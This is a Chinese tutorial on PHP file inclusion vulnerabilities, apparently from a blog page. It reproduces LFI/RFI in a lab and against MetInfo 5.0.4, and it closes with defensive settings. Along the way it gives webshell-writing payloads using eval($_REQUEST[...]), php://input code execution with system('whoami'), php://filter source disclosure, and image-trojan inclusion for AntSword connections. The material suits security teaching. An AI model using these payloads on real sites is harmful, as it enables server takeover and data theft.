当前位置: 首页 > news >正文

文件包含漏洞及漏洞复现

文件包含漏洞

1. 文件包含概述

程序开发人员通常会把可重复使用函数或语句写到单个文件中,形成“封装”。在使用某个功能的时候,直接调用此文件,无需再次编写,提高代码重用性,减少代码量。这种调用文件的过程通常称为包含。

程序开发人员都希望代码更加灵活,所以会把被包含的文件的路径设置为变量,来进行动态调用(包含),但正是由于这种灵活性,如果被包含文件的路径客户端可控,造成任意文件包含漏洞。

几乎所有的脚本都会提供文件包含的功能,文件包含漏洞在PHP 的Web 应用中居多,在JSP/ASP/ASP.NET 程序中比较少。

1.1 文件包含语句

PHP提供了四个文件包含的语句,四个语句之间略有不同。

语言区别
include()多次包含,多次执行;
如果包含失败,脚本产生警告,继续运行。
include_once()多次包含,一次执行;
如果包含失败,脚本产生警告,继续运行。
require()多次包含,多次执行;
如果包含失败,脚本产生错误,结束执行。
require_once()多次包含,一次执行;
如果包含失败,脚本产生错误,结束执行。

注意:

文件读取和文件包含的区别:

  • 在任意文件读取的时候,PHP代码没有执行;
  • 文件包含的时候PHP代码执行了。只要包含的文件中有php代码,包含的过程中就会无脑执行PHP代码。

1.1.1 相关配置

查看phpinfo信息

在phpstudy中的www文件下新建file_include文件夹,在file_include中新建include.php

<?php$fp = "../phpinfo.php";include($fp);
?>

image-20230831194948240

文件包含是PHP 的基本功能之一,有本地文件包含与远程文件包含之分。简单来说,本地文件包含就是可以读取和打开本地文件,远程文件包含就是可以远程(方式)加载文件。可以通过php.ini 中的选项进行配置。

allow_url_fopen = On/Off	# 通过远程方式打开文件
allow_url_include = On/Off	# 通过远程方式包含文件

查看phpinfo中的Core中

image-20230831195710388

为了方便实验将两个参数全部改为on

image-20230831195903477

1.2 动态包含

1.2.1 示例代码

// file-include.php
$fp = @$_GET['filepath'];
include $fp;
<?php//$fp = "../phpinfo.php";$fp = @$_GET['filepath'];include($fp);
?>

image-20230831201031151

1.2.2 本地文件包含

本地文件包含(Local File Include,LFI)通过本地路径访问到的文件。

打开F12

?filepath=../phpinfo.php
?filepath=../ll.php

image-20230831201015887

image-20230831201135914

php中最严重的漏洞是文件包含;Java中最严重的漏洞是反序列化

1.2.3 远程文件包含

远程文件包含(Remote File Include,RFI),通过远程路径访问到的文件。

?filepath=http://192.168.16.136/phpinfo.php

image-20230831202044064

1.3 原理和特点

原理

PHP 文件包含是程序设计的基础功能之一,能够减少代码量,提高开发效率。但是使用文件包含功能时,有类似于以上测试代码的设计,实现了动态包含,就有产生文件包含漏洞的风险。如果实现动态包含的参数,Web 应用没有进行严格的校验,浏览器客户端用户可以影响控制被包含文件的路径,就会产生任意文件包含漏洞。

特点

无视文件扩展名读取文件内容。

?filepath=./a.jpg

无条件解析PHP代码,为图片木马提供出路

?filepath=a_yjh_info.jpg

漏洞形成原因总结:

  1. 开启了文件包含功能
  2. 可以动态包含
  3. 浏览器客户端用户可以控制文件路径:完全控制(约等于拿下系统),影响(路径跳转)

2. 文件包含攻防

2.1 利用方法

2.1.1 包含图片木马

菜刀直接链接。

http://10.4.7.130/file-include/file-include.php?filepath=a_yjh_info.jpg

2.1.2 读取敏感文件

利用文件包含漏洞,也可以读取敏感文件。

前提条件:

  • 目标文件存在(已知目标文件路径);
  • 具有文件可读权限。

具体方法:

# 相对路径
?filepath=../../../../../../windows/system32/drivers/etc/hosts
# 绝对路径
?filepath=c:/windows/system32/drivers/etc/hosts# 使用php 封装协议
?filepath=file://c:/windows/system32/drivers/etc/hosts
封装协议 说明
file://访问本地文件系统
http://访问 HTTP(s) 网址
ftp://访问 FTP(s) URLs
php://访问各个输入/输出流(I/O streams)
zlib://压缩流
data://数据(RFC 2397)
glob://查找匹配的文件路径模式
phar://PHP 归档
ssh2://Secure Shell 2
rar://RAR
ogg://音频流
expect://处理交互式的流

2.1.3 读取PHP文件源码

利用php://fileter读取

?filepath=php://filter/read=convert.base64-encode/resource=[目标文件]

读取结果

PD9waHANCi8vIGZpbGUtaW5jbHVkZS5waHANCg0KJGZwID0gQCRfR0VUWydmaWxlcGF0aCddOw0KQGluY2x1ZGUgJGZwOw==

2.1.4 执行PHP命令

  • 利用php://input 执行PHP 命令;
  • 远程文件包含开启。
POST /file-include/include.php?filepath=php://input HTTP/1.1 Host: 192.168.111.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate Connection: close
Cookie: PHPSESSID=q9lc0vlnggvo7kogh6j01a3582 Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache Content-Length: 18<?php phpinfo();?>
<?php
system('whoami');
?>

2.1.5 包含文件木马写shell

条件:

  • 确定文件包含漏洞存在;
  • 菜刀不能直接连接

写shell

<?php  fputs(fopen("shell.php",'w'),'<?=@eval($_REQUEST[777]);phpinfo();?>')?> <?php file_put_contents('shell.php','<?php @eval($_REQUEST[777])?>')?

利用

http://10.4.7.130/file-include/shell.php

2.1.6 包含日志

Apache日志:

  • 访问日志
  • 错误日志

Nginx 日志:

  • 访问日志
  • 错误日志

SSH 日志

邮件日志

2.2 经典案例

  • metinfo_5.0.4_lfi

    • metinfo5.0.4漏洞分析
  • dvwa_lfi_high_getshell

2.2.1 环境搭建

image-20230831205616611

image-20230831205648590

image-20230831205727797

2.2.2 漏洞点

/about/index.php

传参:

?fmodule=7&module=

2.2.3 漏洞产生原因

文件包含语句:require_once

查看about下index.php文件内容

image-20230831211114848

输出fmodule和module

image-20230831211520790

module是在include/module.php下进行的初始化

控制fmodule的值

image-20230831211815336

image-20230831211909999

在include中的module中搜索 f m o d u l e ,当 fmodule,当 fmodule,当fmodule!=7对$module进行初始化,并且if判断没有else;也就是说当 f m o d u l e = 7 不会对 fmodule=7不会对 fmodule=7不会对module进行初始化。

image-20230831212844766

页面空白是因为index.php在第十行做包含的时候没有$module值

想要显现页面给$module赋值

image-20230831213333164

为$module赋其他的值,证明文件包含成功,文件包含的一大危害是文件读取

module=c:/windows\system32\drivers\etc\hosts

image-20230831213555983

2.2.4 深度利用

  1. 包含图片马使用蚁剑进行连接,在招贤纳士中的在线应聘中有图片上传

image-20230831214101967

上传图片木马

image-20230831214915686

image-20230831215220928

  1. 访问上传文件,并使用蚁剑进行连接

image-20230831215438201

连接失败,因为图片中的一句话木马无法执行

image-20230831215704954

  1. 使用文件包含,访问上传的图片
http://192.168.16.136/MetInfo5.0.4/about/index.php?fmodule=7&module=../upload/file/11.png

image-20230831220005651

使用蚁剑进行连接

image-20230831220053334

image-20230831220434173

2.2.5 读取敏感文件

# 相对路径
?filepath=../../../../../../windows/system32/drivers/etc/hosts
# 绝对路径
?filepath=c:/windows/system32/drivers/etc/hosts# 使用php 封装协议
?filepath=file://c:/windows/system32/drivers/etc/hosts

image-20230831220625711

image-20230831220651470

image-20230831220719782

2.2.6 读取php源码

?fmodule=7&module=php://filter/read=convert.base64-encode/resource=show.php

image-20230831220909426

使用bp进行解密

image-20230831221111165

2.2.7 执行php命令

使用bp抓包,发送重发器将数据包改为post类型

image-20230831221802726

image-20230831222221717

image-20230831222241968

修改php语句就可以执行其他语句了

image-20230831223248016

2.3 文件包含防御

  • 尽量少的使用动态包含;

  • 严格过滤被包含文件的路径;

  • 将参数allow_url_include 设置为Off;

  • 使用参数open_basedir 限定文件访问范围。

open_basedir = c:\phpstudy_2016\www\

相关文章:

文件包含漏洞及漏洞复现

文件包含漏洞 1. 文件包含概述 程序开发人员通常会把可重复使用函数或语句写到单个文件中&#xff0c;形成“封装”。在使用某个功能的时候&#xff0c;直接调用此文件&#xff0c;无需再次编写&#xff0c;提高代码重用性&#xff0c;减少代码量。这种调用文件的过程通常称为…...

Android 手游聚合SDK小知识(一)

Android 手游聚合SDK小知识(一) Android 手游聚合SDK小知识(二) 聚合分包 前言 回头想想&#xff0c;在安卓游戏SDK这个领域&#xff0c;我也呆了4年了&#xff0c;从啥都不懂的小菜鸟&#xff0c;逐渐靠自己不断学习&#xff0c;对这个行业也算有了一些理解&#xff0c;趁着…...

桂理理工大题

#include <stdio.h> #include <stdlib.h>int getMax(int n); int getMin(int n); int range(int n); static int count1; //作为全局变量控制每次的序列号int main(){int num;int i,j;do{printf("输入黑洞数&#xff1a;\n");scanf("%d",&…...

Jmeter接口测试+压力测试

接口测试 Jmeter-http接口脚本 一般分五个步骤:&#xff08;1&#xff09;添加线程组 &#xff08;2&#xff09;添加http请求 &#xff08;3&#xff09;在http请求中写入接入url、路径、请求方式和参数 &#xff08;4&#xff09;添加查看结果树 &#xff08;5&#xff09;…...

mysql‘逻辑删除‘和‘唯一索引‘冲突的解决方案

一、冲突出现原因 在user表中将name字段设置唯一索引&#xff0c;添加逻辑删除字段del_flag&#xff08;1为删除&#xff0c;0为未删除&#xff09;之后&#xff0c;将name张四的字段删除&#xff0c;再添加一个name张四的记录则会出现冲突 二、解决 1.设置唯一索引组&#x…...

MQTT,如何在SpringBoot中使用MQTT实现消息的订阅和发布

一、MQTT介绍 1.1 什么是MQTT&#xff1f; MQTT&#xff08;Message Queuing Telemetry Transport&#xff0c;消息队列遥测传输协议&#xff09;&#xff0c;是一种基于发布/订阅&#xff08;publish/subscribe&#xff09;模式的“轻量级”通讯协议&#xff0c;该协议构建于…...

gRPC-Gateway 快速实战

今天来分享一波 gRPC-Gateway &#xff0c; 之前咱们有分享过什么是 gRPC 及其使用方式&#xff0c;可以看看这些关于 gRPC 的历史文章&#xff1a; gRPC介绍 gRPC 客户端调用服务端需要连接池吗&#xff1f; gRPC的拦截器 gRPC的认证 分享一下 gRPC- HTTP网关 I 今天主要是分…...

〔019〕Stable Diffusion 之 单图中绘制多人分区域写提示词 篇

✨ 目录 🎈 下载区域绘制插件🎈 区域绘制使用🎈 参数讲解和基础使用🎈 Lora 自组🎈 Lora 自组的使用🎈 分区扩散🎈 分区域提示🎈 下载区域绘制插件 在绘制图片时,经常绘制的图片不仅仅是 单人图片,也可能需要绘制 多人图片那么通过正常方式绘制出来的多人图片…...

Scala入门,idea关联Scala

Scala 介绍 Scala是一种多规范的编程语言&#xff0c;它结合了面向对象编程&#xff08;OOP&#xff09;和函数式编程&#xff08;FP&#xff09;的特征&#xff0c;Scala的名字源于”Scalable language“&#xff0c;意为”可伸缩语言“。2003年开发的&#xff0c;并在JVM&a…...

3DCAT携手华为,打造XR虚拟仿真实训实时云渲染解决方案

2023年5月8日-9日&#xff0c;以 因聚而生 众志有为 为主题的 华为中国合作伙伴大会2023 在深圳国际会展中心隆重举行。本次大会汇聚了ICT产业界的广大新老伙伴朋友&#xff0c;共同探讨数字化转型的新机遇&#xff0c;共享数字化未来的新成果。 华为中国合作伙伴大会2023现场&…...

Spring Security注销后未正确保存空的SecurityContext漏洞CVE-2023-20862

文章目录 0.前言漏洞Spring Security介绍 1.参考文档2.基础介绍3.解决方案3.1. 升级版本3.2. 临时替代方案 4.Spring Security使用教程简单代码示例 0.前言 背景&#xff1a;公司项目扫描到 Spring-security 组件 注销后未正确保存空的SecurityContext CVE-2023-20862 漏洞 高…...

11、监测数据采集物联网应用开发步骤(8.2)

监测数据采集物联网应用开发步骤(8.1) 新建TCP/IP Client线程类com.zxy.tcp.ClientThread.py #! python3 # -*- coding: utf-8 -Created on 2017年05月10日 author: zxyong 13738196011 import datetime import socket import threading import timefrom com.zxy.adminlog.Us…...

【PWN · ret2text | RISC-V异构】[2023 羊城杯]login

第一道异构PWN的题目&#xff0c;没做出来。。。。但是是因为工具没有 QAQ 目录 前言 一、食用工具 Ghidra 安装使用 二、解题思路 三、exp 总结 前言 我们context.arch经常是i386和amd64&#xff0c;突然遇到RISC-V架构的题目&#xff0c;一是本地运行不了&#xff08…...

【HBZ分享】TCP可靠性传输如何保证的?以及传输优化之Nagle算法

ACK机制 ACK机制是发送方与接收方的一个相互确认客户端向服务端发送连接请求&#xff0c;此时服务端要回馈给客户端ACK&#xff0c;以表示服务端接到了客户端请求&#xff0c;这是第一和的第二次握手客户端接收到服务端响应后&#xff0c;同样也要回馈服务端的响应&#xff0c…...

智能电销机器人,主要体现的价值是什么

21世纪科技的迅速发展&#xff0c;人工智能逐渐走入大家的视线&#xff0c;越来越多的机器人出现在我们生活中。见的最多的有电销公司的智能语音机器人、在仓库拣货打包的机器人、商场店铺供娱乐对话的机器人。机器人活跃在各行各业中&#xff0c;降低了人工成本&#xff0c;代…...

Win7系统电脑开机总出现硬盘自检的简单解决方法

你是不是经常会遇到电脑开机进行硬盘自检&#xff0c;而且每次开机都检查很久不能跳过&#xff1b;怎么才能跳过这一步骤呢&#xff1f;下面教大家如何让Win7系统电脑在开机的时候跳过硬盘自检这一步骤&#xff0c;加快开机时间。 解决步骤&#xff1a; 1、按下“Win R”快捷键…...

计网第四章(网络层)(五)

目录 静态路由配置 默认路由&#xff1a; 特定主机路由&#xff1a; 示例&#xff1a; 广播域和冲突域&#xff1a; 静态路由配置 在第四节&#xff08;计网第四章&#xff08;网络层&#xff09;&#xff08;四&#xff09;_永无魇足的博客-CSDN博客&#xff09;有提到过…...

ios 手机浏览器,点击输入框页面会放大

一个普通的h5静态页面&#xff0c;在ios手机上用浏览器打开&#xff0c;发现每次聚焦输入框的时候整个页面都会放大&#xff01; 解决办法在html的头部meta标签中设置 user-scalableno viewport meta 标记 - HTML&#xff08;超文本标记语言&#xff09; | MDN...

全局异常处理

案例一&#xff1a; 自定义异常 public class StudentException extends RuntimeException {private Integer code;private String msg;public StudentException(Integer code, String msg) {this.code code;this.msg msg;}/*** 这里需要重写 getMessage方法&#xff0c;否…...

更健康舒适更科技的照明体验!SUKER书客护眼台灯 L1上手体验

低价又好用的护眼台灯是多数人的需求&#xff0c;很多人只追求功能性护眼台灯&#xff0c;显色高、无频闪、无蓝光等基础需求。但是在较低价格中很难面面俱到&#xff0c;然而刚发布的SUKER书客L1护眼台灯却是一款不可多得的性价比护眼台灯&#xff0c;拥有高品质光源&#xff…...

Python:操作 Excel 折叠

💖亲爱的技术爱好者们,热烈欢迎来到 Kant2048 的博客!我是 Thomas Kant,很开心能在CSDN上与你们相遇~💖 本博客的精华专栏: 【自动化测试】 【测试经验】 【人工智能】 【Python】 Python 操作 Excel 系列 读取单元格数据按行写入设置行高和列宽自动调整行高和列宽水平…...

【大模型RAG】Docker 一键部署 Milvus 完整攻略

本文概要 Milvus 2.5 Stand-alone 版可通过 Docker 在几分钟内完成安装&#xff1b;只需暴露 19530&#xff08;gRPC&#xff09;与 9091&#xff08;HTTP/WebUI&#xff09;两个端口&#xff0c;即可让本地电脑通过 PyMilvus 或浏览器访问远程 Linux 服务器上的 Milvus。下面…...

【HarmonyOS 5 开发速记】如何获取用户信息(头像/昵称/手机号)

1.获取 authorizationCode&#xff1a; 2.利用 authorizationCode 获取 accessToken&#xff1a;文档中心 3.获取手机&#xff1a;文档中心 4.获取昵称头像&#xff1a;文档中心 首先创建 request 若要获取手机号&#xff0c;scope必填 phone&#xff0c;permissions 必填 …...

智能AI电话机器人系统的识别能力现状与发展水平

一、引言 随着人工智能技术的飞速发展&#xff0c;AI电话机器人系统已经从简单的自动应答工具演变为具备复杂交互能力的智能助手。这类系统结合了语音识别、自然语言处理、情感计算和机器学习等多项前沿技术&#xff0c;在客户服务、营销推广、信息查询等领域发挥着越来越重要…...

【LeetCode】3309. 连接二进制表示可形成的最大数值(递归|回溯|位运算)

LeetCode 3309. 连接二进制表示可形成的最大数值&#xff08;中等&#xff09; 题目描述解题思路Java代码 题目描述 题目链接&#xff1a;LeetCode 3309. 连接二进制表示可形成的最大数值&#xff08;中等&#xff09; 给你一个长度为 3 的整数数组 nums。 现以某种顺序 连接…...

Linux部署私有文件管理系统MinIO

最近需要用到一个文件管理服务&#xff0c;但是又不想花钱&#xff0c;所以就想着自己搭建一个&#xff0c;刚好我们用的一个开源框架已经集成了MinIO&#xff0c;所以就选了这个 我这边对文件服务性能要求不是太高&#xff0c;单机版就可以 安装非常简单&#xff0c;几个命令就…...

uniapp 集成腾讯云 IM 富媒体消息(地理位置/文件)

UniApp 集成腾讯云 IM 富媒体消息全攻略&#xff08;地理位置/文件&#xff09; 一、功能实现原理 腾讯云 IM 通过 消息扩展机制 支持富媒体类型&#xff0c;核心实现方式&#xff1a; 标准消息类型&#xff1a;直接使用 SDK 内置类型&#xff08;文件、图片等&#xff09;自…...

6个月Python学习计划 Day 16 - 面向对象编程(OOP)基础

第三周 Day 3 &#x1f3af; 今日目标 理解类&#xff08;class&#xff09;和对象&#xff08;object&#xff09;的关系学会定义类的属性、方法和构造函数&#xff08;init&#xff09;掌握对象的创建与使用初识封装、继承和多态的基本概念&#xff08;预告&#xff09; &a…...

【无标题】湖北理元理律师事务所:债务优化中的生活保障与法律平衡之道

文/法律实务观察组 在债务重组领域&#xff0c;专业机构的核心价值不仅在于减轻债务数字&#xff0c;更在于帮助债务人在履行义务的同时维持基本生活尊严。湖北理元理律师事务所的服务实践表明&#xff0c;合法债务优化需同步实现三重平衡&#xff1a; 法律刚性&#xff08;债…...

跨平台商品数据接口的标准化与规范化发展路径:淘宝京东拼多多的最新实践

在电商行业蓬勃发展的当下&#xff0c;多平台运营已成为众多商家的必然选择。然而&#xff0c;不同电商平台在商品数据接口方面存在差异&#xff0c;导致商家在跨平台运营时面临诸多挑战&#xff0c;如数据对接困难、运营效率低下、用户体验不一致等。跨平台商品数据接口的标准…...